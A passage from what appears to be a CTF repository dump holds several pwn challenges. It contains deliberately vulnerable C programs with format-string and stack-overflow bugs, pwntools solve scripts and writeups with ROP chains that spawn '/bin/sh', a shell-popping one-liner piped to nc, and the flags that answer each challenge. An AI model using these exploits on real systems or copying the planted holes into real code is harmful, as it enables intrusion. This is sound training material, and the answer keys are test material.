    "content": "from pwn import *\nfrom Crypto.Util.number import inverse, bytes_to_long, long_to_bytes\n\ndef write_note(note_contents):\n    conn.sendlineafter('> ', '1')\n    conn.sendafter('Enter note contents: ', note_contents)\n\ndef decrypt_write_notes(note_contents):\n    payload = get_decrypted_payload(note_contents).replace(b'\\x00', b'\\x66')\n    write_note(payload)\n\ndef read_note():\n    conn.sendlineafter('> ', '2')\n    return bytes.fromhex(conn.recvline().decode().strip())\n\ndef append_to_note(block):\n    conn.sendlineafter('> ', '3')\n    conn.sendafter('Enter note contents to append: ', block)\n\ndef decrypt_append_to_note(block):\n    payload = get_decrypted_payload(block).replace(b'\\x00', b'\\x66')\n    append_to_note(payload)\n\ndef get_lcg_next():\n    write_note(b'A'*8)\n    X = read_note()\n    p = xor(b'A'*8, X)\n    return bytes_to_long(p[::-1])\n\ndef lcg_skip(n):\n    [get_lcg_next() for _ in range(n)]\n    [predict_lcg_next() for _ in range(n)]\n\ndef get_decrypted_payload(payload):\n    out = b''\n    for i in range(0, len(payload), 8):\n        out += xor(payload[i:i+8], predict_lcg_next())\n    return out\n\ndef predict_lcg_next(b=True):\n    global X\n    X = (A*X + B) % m\n    if b:\n        return long_to_bytes(X, 8)[::-1]\n    return X\n\ndef predict_lcg_peek(n, b=True):\n    X_ = X\n    for _ in range(n):\n        X_ = (A*X_ + B) % m\n    if b:\n        return long_to_bytes(X_, 8)[::-1]\n    return X_\n\ndef find_good_lcg_skip(k):\n    n = 0\n    while True:\n        l = predict_lcg_peek(n+k)\n        n += 1\n        if l[-1] == 0:\n            break\n    log.success(f'found good LCG state: {n} ticks ahead')\n    return n\n\nexe = ELF('../challenge/encrypted_note')\nconn = remote('0.0.0.0', 1337)\n\n# ==================== recover LCG parameters\n\nm = 2**64\nX1 = get_lcg_next()\nX2 = get_lcg_next()\nX3 = get_lcg_next()\nA = (X3 - X2) * inverse(X2 - X1, m) % m\nB = (X2 - A*X1) % m\nX = X3\nlog.success(f'recovered LCG parameters: A = {A}, B = {B}')\n\n# ==================== leak canary\n\n# offset so that the next append overwrites canary null byte\ndecrypt_write_notes(b'A'*81 + b'\\x00')\n\n# append a single block so that read_note leaks canary\ndecrypt_append_to_note(b'B\\xff' + b'B'*6)\n\n# read the plaintext canary\nnote = read_note()\ncanary = b'\\x00' + note[89:89+7]\nlog.success(f'leaked canary: {canary.hex()}')\n\n# ==================== leak binary base\n\ndecrypt_write_notes(b'A'*86 +  b'\\x00\\xff')\ndecrypt_append_to_note(b'C\\xffCCCC\\x00')\ndecrypt_append_to_note(b'DDDD\\x00DD')\ndecrypt_append_to_note(b'E'*8)\n\n# read the plaintext ret address and recover binary base\nn = read_note()\nbin_base = u64(n[104:104+6] + b'\\x00\\x00') - 0x169f\nlog.success(f'PIE base: {hex(bin_base)}')\n\n# ==================== overwrite vuln's ret with win\n\nwin = p64(bin_base + exe.symbols['win'])\nret = p64(bin_base + 0x000000000000101a)\nlog.success(f'win address: {hex(u64(win))}')\nlog.success(f'ret gadget : {hex(u64(ret))}')\n\n# carefully write win function\nn = find_good_lcg_skip(12+6)\nlcg_skip(n)\ndecrypt_write_notes(b'A'*86 + b'\\x00\\xff')\ndecrypt_append_to_note(b'U\\xffUUUU\\x00')\ndecrypt_append_to_note(b'WWWWWW\\x00')\ndecrypt_append_to_note(b'VVVVVV\\x00')\ndecrypt_append_to_note(b'XX\\x00XXXX')\ndecrypt_append_to_note(b'YYYYYY\\x00')\ndecrypt_append_to_note(win[:6] + b'\\x00')\n\n# carefully write the ret gadget\nn = find_good_lcg_skip(12+5)\nlcg_skip(n)\ndecrypt_write_notes(b'A'*86 + b'\\x00\\xff')\ndecrypt_append_to_note(b'U\\xffU' + canary[1:4] + b'\\x00')\ndecrypt_append_to_note(canary[4:8] + b'WW\\x00')\ndecrypt_append_to_note(b'V\\x00VVVVV')\ndecrypt_append_to_note(b'XXXXX\\x00X')\ndecrypt_append_to_note(ret[:6] + b'\\x00\\x00')\n\n# write canary null byte\nn = find_good_lcg_skip(12+1)\nlcg_skip(n)\ndecrypt_write_notes(b'A'*81 + b'\\x00' + b'B'*5 + b'\\xff')\ndecrypt_append_to_note(b'CCCCCC\\x00')\n\n# win!\nconn.sendlineafter('> ', '0')\nconn.interactive()\n"
  },
  {
    "path": "pwn/leaking-like-a-sieve/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\nWORKDIR /home/ctf/chal\nCOPY ./challenge/hellothere pwn\nCOPY ./challenge/flag.txt . "
  },
  {
    "path": "pwn/leaking-like-a-sieve/README.md",
    "content": "# Leaking like a sieve\n\n**Category:** pwn\n\n**Difficulty:** Beginner\n\n**Author:** xXl33t_h@x0rXx\n\nThis program I developed will greet you, but my friend said it is leaking data like a sieve, what did I forget to add?\n\n**Attached files:**\n\n- ./challenge/hellothere (sha256: 4dcb0529848655a2441262fa3f4fe24c011718ffc230f50e36412f3c3d9b8c6e)"
  },
  {
    "path": "pwn/leaking-like-a-sieve/WRITEUP.md",
    "content": "\n# Leaking like a sieve solution\n\nThis challenge features a beginner PWN vulnerability - format string vulnerability.\n\n## Format string vulnerabilities\n\nWhen a format argument such as %s, %d, etc is not specified when printing variables using printf, scanf in C then user input can be passed as a format argument.\n\nThis allows the user to leak data using printf as it pops data off the stack as it is a variadic function.\n\n## Solving the challenge\n### Identify the vulnerability\nTo solve this challenge, the user will need to identify first that the vulnerability is a format string vuln.\n\nThis can be done one of two ways, inferring from the challenge title and description that data is being leaked and searching online for data leakage vulnerabilities.\n\nAlternatively, the user can reverse engineer the compiled binary using Ghidra or similar tools to identify the usage of printf and lack of format arguments.\n\n### Exploit time\n\nFrom here, the user will need to iterate through different format arguments such as %x, %d, %s and subsequently the correct index/quantity\nof the argument to leak. This is be achieved using %n$x where n is a decimal index.\n\nDue to the way the stack is allocated by the compiler, `flag` is at a lower address on the stack (index/argument ) and is also a string, so to leak the flag you would enter %6$s.\n\n\n## Exploit:\n\n```\nWhat is your name?\n%6$s\n\nHello there, DUCTF{f0rm4t_5p3c1f13r_m3dsg!}\n```\n"
  },
  {
    "path": "pwn/leaking-like-a-sieve/challenge/flag.txt",
    "content": "DUCTF{f0rm4t_5p3c1f13r_m3dsg!}"
  },
  {
    "path": "pwn/leaking-like-a-sieve/challenge/hellothere.c",
    "content": "#include <stdio.h>\n\nvoid buffer_init() {\n\tsetbuf(stdout, NULL);\n\tsetbuf(stdin, NULL);\n\tsetbuf(stderr, NULL);\n}\n\nint main() {\n\tchar name[32];\n\tchar flag[32];\n\tchar *flag_ptr = flag;\n\n\tbuffer_init();\n\tFILE *file = fopen(\"./flag.txt\", \"r\");\n\tif (file == NULL) {\n\t\tprintf(\"The flag file isn't loading. Please contact an organiser if you are running this on the shell server.\\n\");\n\t\texit(0);\n\t}\n\n\tfgets(flag,sizeof(flag),file);\n\n\twhile(1) {\n\t\tprintf(\"What is your name?\\n\");\n\t\tfgets(name,sizeof(name),stdin);\n\t\tprintf(\"\\nHello there, \");\n\t\tprintf(name);\n\t\tprintf(\"\\n\");\n\t}\n\treturn 0;\n}"
  },
  {
    "path": "pwn/leaking-like-a-sieve/challenge.yml",
    "content": "version: \"0.1\"\nid: leaking-like-a-sieve\nname: Leaking like a sieve\ncategory: pwn\ndescription: |\n  This program I developed will greet you, but my friend said it is leaking data like a sieve, what did I forget to add?\n  \n  Author: xXl33t_h@x0rXx\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/hellothere\n\nflags:\n  - DUCTF{f0rm4t_5p3c1f13r_m3dsg!}\n"
  },
  {
    "path": "pwn/out-backdoor/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\nWORKDIR /home/ctf/chal\nCOPY ./challenge/outBackdoor pwn\nCOPY ./challenge/flag.txt ."
  },
  {
    "path": "pwn/out-backdoor/README.md",
    "content": "# outBackdoor \t\n\n**Category:** pwn\n\n**Difficulty:** Easy\n\n**Author:** xXl33t_h@x0rXx\n\nFool me once, shame on you. Fool me twice, shame on me.\n\n**Attached files:**\n\n- ./challenge/outBackdoor (sha256: 245d9fcf0129d23459372d06aa162971c1bff194dc2ee47fd433b2cae429e98e)\n\n\n"
  },
  {
    "path": "pwn/out-backdoor/WRITEUP.md",
    "content": "# outBackdoor solution\n## Solving the challenge\n### Identify the vulnerability\nThe source code wasn't provided for the challenge requiring the use of a decompiler or disassembler such as Ghidra, radare, ida or objdump. After reverse engineering the binary, it is evident through the use of the unsafe function `gets` in combination with a fixed size char array `feature[16]` that the code is vulnerable to a buffer overflow.\n\nThe binary features a seperate function `outBackdoor` in the code that isn't reachable through normal execution which is called 'deadcode', it's here that the system calls '/bin/sh' which spawns a bin shell. In order to reach code, we need to use ROP.\n\n### Exploit time\nUsing objdump, we can disassemble the binary and locate the address of the function `outBackdoor` which is `00000000004011d7`. After identifying the size of the char array that the `gets` stores its value in (16 chars/bytes), we can start to build our exploit. By using 16 'A's we can fill the char array, then we have to overwrite the base pointer (RBP) which is 8 bytes, we can use 8 'B's to denote this. \n\nAs documented below in the sidenote section, I was able to form an exploit at this stage on my local machine however not on the remote machine due to a common pitfall when doing ROP which is believed to be the 'MOVAPS' issue. On my local machine, I could then overwrite the return address of the `main` function with the address of the `outBackdoor` function, this is 4011d7. However to workaround this issue on other hosts, you need to add a ROP/RET gadget to the exploit chain to align the stack. From the disassembly, we can identify a `ret` instruction in another function, in this case, in the `_init` function there is the `retq` instruction shown below:\n`401016:  c3    retq`\n\nThe `retq` instruction pops a qword off the top of the stack and jumps to that address, so we can combine this address (401016) with some padding (5 bytes worth) and finally the address of the outBackdoor (4011d7) function we found earlier which will be jumped to after the the `retq` instruction in `_init` is executed.\n\nPiecing this all together in little endian format, we get `AAAAAAAAAAAAAAAABBBBBBBB\\x16\\x10\\x40\\x00\\x00\\x00\\x00\\x00\\xd7\\x11\\x40`. This can either be put into a solve script or exploited using echo as shown below.\n\nWorking exploit (on most hosts):\n\n```\n(echo -e \"AAAAAAAAAAAAAAAABBBBBBBB\\x16\\x10\\x40\\x00\\x00\\x00\\x00\\x00\\xd7\\x11\\x40\"; cat;) | nc 0.0.0.0 1337\n```\n\nAlternative exploit (only works on some hosts):\n\n```\n(echo -e \"AAAAAAAAAAAAAAAABBBBBBBB\\xd7\\x11\\x40\\x00\\x00\"; cat;)  | ./outBackdoor\n```\n\n### Sidenote\nWhen testing this challenge on my local machine, the below exploit works perfectly and pops a shell. However when doing remote testing, one of the challenge reviewers noted that the below exploit wasn't working. They were very helpful in finding and explaining why this was the case, so big shoutout to them! They know who they are! :)\n"
  },
  {
    "path": "pwn/out-backdoor/challenge/flag.txt",
    "content": "DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s}"
  },
  {
    "path": "pwn/out-backdoor/challenge/outBackdoor.c",
    "content": "#include <stdio.h>\n\nvoid buffer_init() {\n\tsetbuf(stdout, NULL);\n\tsetbuf(stdin, NULL);\n\tsetbuf(stderr, NULL);\n}\n\nint main(void) {\n\tchar feature[16];\n\n\tbuffer_init();\n\tprintf(\"\\nFool me once, shame on you. Fool me twice, shame on me.\\n\");\n\tprintf(\"\\nSeriously though, what features would be cool? Maybe it could play a song?\\n\");\n\n\tgets(feature);\n}\n\nvoid outBackdoor() {\n\t  printf(\"\\n\\nW...w...Wait? Who put this backdoor out back here?\\n\");\n\t  system(\"/bin/sh\");\n}"
  },
  {
    "path": "pwn/out-backdoor/challenge.yml",
    "content": "version: \"0.1\"\nid: outbackdoor\nname: outBackdoor\ncategory: pwn\ndescription: |\n  Fool me once, shame on you. Fool me twice, shame on me.\n\n  Author: xXl33t_h@x0rXx\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/outBackdoor\n\nflags:\n  - DUCTF{https://www.youtube.com/watch?v=XfR9iY5y94s}\n"
  },
  {
    "path": "pwn/oversight/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\nWORKDIR /home/ctf/chal\nCOPY ./challenge/oversight pwn\nCOPY ./challenge/flag.txt .\n"
  },
  {
    "path": "pwn/oversight/README.md",
    "content": "# Oversight\n\n**Category:** pwn\n\n**Difficulty:** medium\n\n**Author:** B3NNY\n\nOne tiny mistake and it's all over\n\n**Attached files:**\n\n- ./challenge/oversight (sha256: 3a71a8aa7de4e09ae72df464803e6f79b6d3182a5e3218064415e8a6329e2f0b)\n- ./challenge/libc-2.27.so (sha256: 467d8d5596e31cec78cdcde0c589bd04c031ec36598531bfd77e346ac447d9d6)\n"
  },
  {
    "path": "pwn/oversight/WRITEUP.md",
    "content": "# Oversight Solution\n\nThis is a ropchain challenge with a base pointer overwrite.\n\n## Running the program\n\nWhen we run the program we are asked to pick a number, to which the program replies with a magic number. If we feed it a `0` then our magic number is `%0$llx` - this is a hint at a format string vulnerability.\n\nLater the program asks for the number of bytes you want to write, then asks you to write that many bytes, before echoing them back at you.\n\n## The first vulnerability\n\nThe format string vulnerability is worth looking into. Upon inspecting how it works, it is revealed to be parsing your input to an integer before interpolating it back into the format string. The prevents using `%n` etc. in the format string, but allows a random `%n$llx` to be used.\n\nOnce this format string is assembled it is simply being passed into printf without any further arguments. This allows a leak of arbitrary data out of one of the arugument registers or off the stack.\n\n## The second vulnerability\n\nWhen looking at the binary, one thing to note is that the function calls are oddly nested - instead of sequentially calling one function then the other, functions are nested to complete each other. This hints that the solution may be something to do with the function call stack.\n\nThe second thing to note is that there is a custom string operation written into the `echo_inner` function, which calls `fread` for the number of bytes you want, then appends a null byte after. This can be abused to fill the buffer with 256 bytes of  arbitrary data and then write a null byte into the next byte after the buffer.\nIt just so happens that the byte after the buffer here happens to be the saved base pointer for the `echo` function's frame. Now we are able to overwrite the saved base pointer, which will become `rbp` once the function is returned from, and then will control the stack pointer when the calling function is returned from.\n\n```\n┏━━━━━━━━━━━━━━━┓\n┃ AAAAAAAAAAAAA ┃ <- buffer\n┃ AAAAAAAAAAAAA ┃\n┃ AAAAAAAAAAAAA ┃\n┃ AAAAAAAAAAAAA ┃\n┣━━━━━━━━━━━━━━━┫\n┃ 00            ┃ <- saved RBP\n┣━━━━━━━━━━━━━━━┫\n┃               ┃ <- ret addr\n┗━━━━━━━━━━━━━━━┛\n```\n\nWe can utilize this to move the stack pointer for `get_num_bytes` just before it returns (during the `leave` instruction) back up the stack into the 256 byte buffer we filled before, then the following `ret` instruction begins a rop chain.\n\n## The exploit\n\nOur goal for this exploit is to use a ropchain to call `system(\"/bin/sh\")` but to do that we must first know the location of libc.\n\nTo leak the libc location, we look at the stack where the `printf` call is made:\n\n```\n00:0000│ rsp     0x7fffffffe2d0 —▸ 0x7ffff7f87520 (_IO_2_1_stdout_) ◂— 0xfbad2887\n01:0008│         0x7fffffffe2d8 ◂— 0xa36000001\n02:0010│ rdi r12 0x7fffffffe2e0 ◂— 'Your magic number is: %6$llx\\n'\n03:0018│         0x7fffffffe2e8 ◂— 'ic number is: %6$llx\\n'\n04:0020│         0x7fffffffe2f0 ◂— 'r is: %6$llx\\n'\n05:0028│         0x7fffffffe2f8 ◂— 0xa786c6c24 /* '$llx\\n' */\n06:0030│         0x7fffffffe300 ◂— 0x0\n07:0038│         0x7fffffffe308 —▸ 0x7ffff7e47a69 (__GI__IO_do_write+25) ◂— cmp    rbx, rax\n08:0040│         0x7fffffffe310 ◂— 0xa /* '\\n' */\n09:0048│         0x7fffffffe318 —▸ 0x7ffff7e47ed3 (__GI__IO_file_overflow+259) ◂— cmp    eax, -1\n0a:0050│         0x7fffffffe320 ◂— 0x10\n0b:0058│         0x7fffffffe328 —▸ 0x7ffff7f87520 (_IO_2_1_stdout_) ◂— 0xfbad2887\n0c:0060│         0x7fffffffe330 —▸ 0x555555556075 ◂— 'Lets play a game'\n0d:0068│         0x7fffffffe338 —▸ 0x7ffff7e3cc2a (puts+378) ◂— cmp    eax, -1\n0e:0070│         0x7fffffffe340 —▸ 0x555555555430 (__libc_csu_init) ◂— endbr64\n0f:0078│         0x7fffffffe348 —▸ 0x7fffffffe370 ◂— 0x0\n10:0080│         0x7fffffffe350 —▸ 0x5555555550e0 (_start) ◂— endbr64\n11:0088│         0x7fffffffe358 —▸ 0x5555555550e0 (_start) ◂— endbr64\n12:0090│ rbp     0x7fffffffe360 —▸ 0x7fffffffe370 ◂— 0x0\n13:0098│         0x7fffffffe368 —▸ 0x5555555550d5 (main+37) ◂— xor    eax, eax\n```\n\nWe can see at stack position 0x00 0x0b there is the `_IO_2_1_stdout_` symbol which exists within libc. For this example I have chosen to use offset 0x0b.\n\nSince this is x86_64 we have 6 arguments in registers before the stack starts being used for `printf` arguments, therefore if we want to index into position 0x0b on the stack, we must add 6 to it and give 17.\n\n\n```python\nfrom pwn import *\n\np = process(\"./src/pwn\")\n\np.sendline(b\"\")\np.readuntil(b\"Pick a number: \")\np.sendline(b\"17\")\n```\n\nNow that we know the address of the `_IO_2_1_stdout_` symbol, we use that to calculate the base of libc, and find some gadgets to help with the ropchain.\n\n```python\np.readuntil(b\"Your magic number is: \")\nleaked = int(p.readline().strip(), 16)\n\n# 2.27\nlibc_base = leaked - 0x3ec760\nlibc_ret = libc_base + 0x000008aa\nlibc_pop_rsi = libc_base + 0x00023eea\nlibc_binsh = libc_base + 0x1b3e1a\nlibc_pop_rdi = libc_base + 0x000215bf\nlibc_execve = libc_base + 0xe4c00\n\nprint(\"_IO_2_1_stdout_ = {:x}\".format(leaked))\nprint(\"libc_base = {:x}\".format(libc_base))\n```\n\nNow we can send our ropchain - preceeded by a few `ret` gadgets to use as a sled for our shell.\n\n```python\nprint(\"_IO_2_1_stdout_ = {:x}\".format(leaked))\nprint(\"libc_base = {:x}\".format(libc_base))\n\np.readuntil(b\"How many bytes do you want to read (max 256)? \")\np.sendline(b\"256\")\n\nropchain = (\n    p64(libc_pop_rsi) +\n    p64(0) +  # rsi\n    p64(libc_pop_rdi) +\n    p64(libc_binsh) +  # /bin/sh\n    p64(libc_execve)\n)\n\npayload = p64(libc_ret) * ((256 - len(ropchain)) // 8) + ropchain\n\np.send(payload)\n\np.interactive()\n```\n\n(this exploit may fail some of the time)\n"
  },
  {
    "path": "pwn/oversight/challenge/Makefile",
    "content": "NAME\t:= oversight\n\n### OPTIONS ###\nVULN_STACK\t\t\t:= -fno-stack-protector\n\nCC\t\t:= gcc\nOPTIONS\t:= -O3 $(VULN_STACK) -fno-omit-frame-pointer -fno-optimize-sibling-calls\n\nall: challenge\n\nchallenge:\n\t$(CC) -o $(NAME) $(OPTIONS) $(NAME).c\n"
  },
  {
    "path": "pwn/oversight/challenge/flag.txt",
    "content": "DUCTF{1_sm@LL_0ver5ight=0v3rFLOW}"
  },
  {
    "path": "pwn/oversight/challenge/oversight.c",
    "content": "#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define BUF_SIZE 0x100\n\nvoid read_string(char *buffer, int len)\n{\n    int n_bytes = fread(buffer, 1, len, stdin);\n    buffer[n_bytes] = '\\0';\n}\n\nvoid get_lucky()\n{\n    printf(\"Pick a number: \");\n    char num_buf[5];\n    fgets(num_buf, 5, stdin);\n    int num = atoi(num_buf);\n    char fmt_buf[100];\n    snprintf(fmt_buf, 100, \"Your magic number is: %%%d$llx\\n\", num);\n    printf(fmt_buf);\n}\n\n__attribute__((noinline)) void\necho_inner(char *buffer, int num)\n{\n    read_string(buffer, num);\n    printf(\"You said:\\n\");\n    printf(\"%s\", buffer);\n}\n\n__attribute__((noinline)) void\necho(int num)\n{\n    char buffer[BUF_SIZE];\n    echo_inner(buffer, num);\n}\n\n__attribute__((noinline)) void\nget_num_bytes()\n{\n    printf(\"How many bytes do you want to read (max 256)? \");\n    char buffer[5];\n    fgets(buffer, 5, stdin);\n    int num = atoi(buffer);\n    if (num < 0 || num > BUF_SIZE)\n    {\n        printf(\"Don't break the rules!\\n\");\n        return;\n    }\n    echo(num);\n}\n\n__attribute__((noinline)) void\nintroduce()\n{\n    volatile char wat = 0;\n    printf(\"Are you ready to echo?\\n\");\n    get_num_bytes();\n    printf(\"That was fun!\\n\");\n}\n\n__attribute__((noinline)) void\nwait()\n{\n    printf(\"Press enter to continue\\n\");\n    getchar();\n    get_lucky();\n    introduce();\n}\n\nint main()\n{\n    setbuf(stdout, NULL);\n    printf(\"Lets play a game\\n\");\n    wait();\n}"
  },
  {
    "path": "pwn/oversight/challenge.yml",
    "content": "version: \"0.1\"\nid: oversight\nname: Oversight\ncategory: pwn\ndescription: |\n  One tiny mistake and it's all over\n\n  Author: B3NNY\n\nconnection_info: nc ${host} ${port}\n\nfiles:\n  - ./challenge/oversight\n  - ./challenge/libc-2.27.so\n\ntags:\n  - medium\n\nflags:\n  - DUCTF{1_sm@LL_0ver5ight=0v3rFLOW}\n"
  },
  {
    "path": "pwn/oversight/sol.py",
    "content": "from pwn import *\n\n# p = process(\"./challenge/oversight\")\np = remote(\"localhost\", 1337)\n\np.sendline(b\"\")\np.readuntil(b\"Pick a number: \")\np.sendline(b\"17\")\n\np.readuntil(b\"Your magic number is: \")\nleaked = int(p.readline().strip(), 16)\n\n# 2.27\nlibc_base = leaked - 0x3ec760\nlibc_ret = libc_base + 0x000008aa\nlibc_pop_rsi = libc_base + 0x00023eea\nlibc_binsh = libc_base + 0x1b3e1a\nlibc_pop_rdi = libc_base + 0x000215bf\nlibc_execve = libc_base + 0xe4c00\n\n# # 2.33\n# libc_base = leaked - 0x1c1520\n# libc_ret = libc_base + 0x00026697\n# libc_pop_rsi = libc_base + 0x0002978f\n# libc_binsh = libc_base + 0x18bb62\n# libc_pop_rdi = libc_base + 0x00027f75\n# libc_execve = libc_base + 0xcbf60\n\nprint(\"_IO_2_1_stdout_ = {:x}\".format(leaked))\nprint(\"libc_base = {:x}\".format(libc_base))\n\np.readuntil(b\"How many bytes do you want to read (max 256)? \")\np.sendline(b\"256\")\n\nropchain = (\n    p64(libc_pop_rsi) +\n    p64(0) +  # rsi\n    p64(libc_pop_rdi) +\n    p64(libc_binsh) +  # /bin/sh\n    p64(libc_execve)\n)\n\npayload = p64(libc_ret) * ((256 - len(ropchain)) // 8) + ropchain\n\np.send(payload)\n\np.interactive()\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/flag.txt /home/ctf/chal/flag.txt\nCOPY ./challenge/rbp /home/ctf/chal/pwn\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/README.md",
    "content": "# ready, bounce, pwn!\n\n**Category:** pwn\n\n**Difficulty:** medium\n\n**Author:** joseph#8210\n\nLet's play with `rbp`.\n\n**Attached files:**\n- ./challenge/rbp (sha256: dafce41aeee46fe2952f9a2a4d6d594e3ea759bacc8b649dcf07e5e0e6379048)\n- ./challenge/libc.so.6 (sha256: 86ca990a4719b1d4ed8f56e9c6c373e33ad8a40a85fb262cc9ac94ab67feaed0)\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/challenge/flag.txt",
    "content": "DUCTF{n0_0verfl0w?_n0_pr0bl3m!}\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/challenge/rbp.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid init() {\n    setvbuf(stdout, 0, 2, 0);\n    setvbuf(stdin, 0, 2, 0);\n}\n\nlong read_long() {\n    char buf[20];\n    read(0, buf, 19);\n    return atol(buf);\n}\n\nint main() {\n    init();\n\n    char name[0x18];\n    printf(\"Hi there! What is your name? \");\n    read(0, name, 0x18);\n\n    puts(\"That is an interesting name.\");\n    printf(\"Do you have a favourite number? \");\n\n    asm(\"add %0, %%rbp;\" : : \"r\"(read_long()));\n\n    return 0;\n}\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/challenge.yml",
    "content": "version: \"0.1\"\nid: rbp\nname: ready, bounce, pwn!\ncategory: pwn\ndescription: >\n  Let's play with `rbp`.\n\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - medium\n\nfiles:\n  - ./challenge/rbp\n  - ./challenge/libc.so.6\n\nflags:\n  - DUCTF{n0_0verfl0w?_n0_pr0bl3m!}\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/solve/solve.py",
    "content": "from pwn import *\n\ndef write(name, offset):\n    conn.sendafter('? ', name)\n    conn.sendlineafter('? ', str(offset))\n\nelf = ELF('../challenge/rbp')\nconn = remote('0.0.0.0', 1337)\n\npop_rdi = 0x00000000004012b3\n\nwrite(b'A'*8 + p64(elf.symbols['main'] + 0x1)*2, -0x20)\nwrite(p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']), -0x28)\n\nleak = u64(conn.recvline().strip().ljust(8, b'\\x00'))\nlibc_base = leak - 0x809d0\nlog.success('libc base: ' + hex(libc_base))\n\nsystem = libc_base + 0x4fa60\nbin_sh = libc_base + 0x1abf05\nwrite(p64(pop_rdi) + p64(bin_sh) + p64(system), -0x28)\n\nconn.interactive()\n"
  },
  {
    "path": "pwn/ready-bounce-pwn/solve/writeup.md",
    "content": "# Challenge Overview\n\n```\n❯ checksec rbp\n[*] '/DUCTF-2021/pwn/ready-bounce-pwn/challenge/rbp'\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n```\n\nThe program prompts for our name and reads 24 bytes into a buffer (on the stack) before prompting us for our favourite number. It increments `rbp` by our favourite number and then returns.\n\n# Solution\n\nDecompiling the binary (i.e. with Ghidra or IDA) gives pseudo C code that looks like a very simple and not really vulnerable program. However, fuzzing some inputs to the `read_long` function will quickly lead to a crash. Looking into the disassembly, we see towards the end of `main`:\n\n```\n0x0000000000401239 <+100>:\tcall   0x4011a9 <read_long>\n0x000000000040123e <+105>:\tadd    rbp,rax\n0x0000000000401241 <+108>:\tmov    eax,0x0\n0x0000000000401246 <+113>:\tleave\n0x0000000000401247 <+114>:\tret\n```\n\nPeculiarly, the return value of `read_long` (i.e. our \"favourite number\") is added to `rbp` just before the function epilogue.\n\nRecall that the `leave` instruction is equivalent to\n\n```\nmov rsp, rbp\npop rbp\n```\n\nand `ret` pops the value at the top of the stack and jumps to it.\n\nSince we are able to offset `rbp` before `leave` is executed, we can effectively reposition the stack frame and control the return address. The most obvious candidate is to offset `rbp` so that the return address will be read from the user controlled buffer.\n\nThe exploit idea will be to build a ROP chain to leak libc, and then build another ROP chain to get a shell.\n\n## Leaking libc\n\nThe buffer we can control is 24 bytes. I couldn't find a way to get a leak with less than 3 gadgets, so let's assume we need 3 gadgets to leak libc. But we'll also need to return back to main so that we can get another write to get a shell. This means we'll need at least 32 bytes to hold our ROP chain, but we only have a 24 byte buffer :(. Fortunately, there's a way to get an extra 8 bytes.\n\nThe function prologue looks like:\n\n```\n0x00000000004011d5 <+0>:\tpush   rbp\n0x00000000004011d6 <+1>:\tmov    rbp,rsp\n0x00000000004011d9 <+4>:\tsub    rsp,0x20\n```\n\nand the call to `read` looks like:\n\n```\n0x00000000004011fb <+38>:\tlea    rax,[rbp-0x20]\n0x00000000004011ff <+42>:\tmov    edx,0x18\n0x0000000000401204 <+47>:\tmov    rsi,rax\n0x0000000000401207 <+50>:\tmov    edi,0x0\n0x000000000040120c <+55>:\tcall   0x401050 <read@plt>\n```\n\nSo if we go through one pass of `main` and return to `main+1`, then when we get to `read` in the second pass, `rbp` will be what we manipulated `rsp` into being in the first pass (which itself is affected by what we chose to offset `rbp` by). Since we offset `rbp` such that `rsp` ends up pointing to somewhere in the name buffer, this means `rbp-0x20` will point to somewhere before the start of where the name buffer was in the first pass. So we can fill the buffer with `main+1` in the first pass, and in the second pass we can write 3 gadgets and have a `main+1` at the end of the ROP chain for free!\n\n## Getting a Shell\n\nNow that we have a libc leak, we can find the addresses of `system` and `\"/bin/sh\"` in the provided libc and build a ROP chain to call `system(\"/bin/sh\")`. Since we don't care about returning to `main`, we can easily do this with 24 bytes.\n\n```py\nfrom pwn import *\n\ndef write(name, offset):\n    conn.sendafter('? ', name)\n    conn.sendlineafter('? ', str(offset))\n\nelf = ELF('../challenge/rbp')\nconn = remote('0.0.0.0', 1337)\n\npop_rdi = 0x00000000004012b3\n\nwrite(b'A'*8 + p64(elf.symbols['main'] + 0x1)*2, -0x20)\nwrite(p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']), -0x28)\n\nleak = u64(conn.recvline().strip().ljust(8, b'\\x00'))\nlibc_base = leak - 0x809d0\nlog.success('libc base: ' + hex(libc_base))\n\nsystem = libc_base + 0x4fa60\nbin_sh = libc_base + 0x1abf05\nwrite(p64(pop_rdi) + p64(bin_sh) + p64(system), -0x28)\n\nconn.interactive()\n```\n"
  },
  {
    "path": "pwn/write-what-where/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/flag.txt /home/ctf/chal/flag.txt\nCOPY ./challenge/write-what-where /home/ctf/chal/pwn\n"
  },
  {
    "path": "pwn/write-what-where/README.md",
    "content": "# write what where\n\n**Category:** pwn\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nYou've got one write. What do you do?\n\n**Attached files:**\n- ./challenge/write-what-where (sha256: 42ae3215540a9942bddac157645ef3f4614fc404f88e34f093e7bf7f00084c8e)\n- ./challenge/libc.so.6 (sha256: 86ca990a4719b1d4ed8f56e9c6c373e33ad8a40a85fb262cc9ac94ab67feaed0)\n\n"
  },
  {
    "path": "pwn/write-what-where/challenge/flag.txt",
    "content": "DUCTF{arb1tr4ry_wr1t3_1s_str0ng_www}\n"
  },
  {
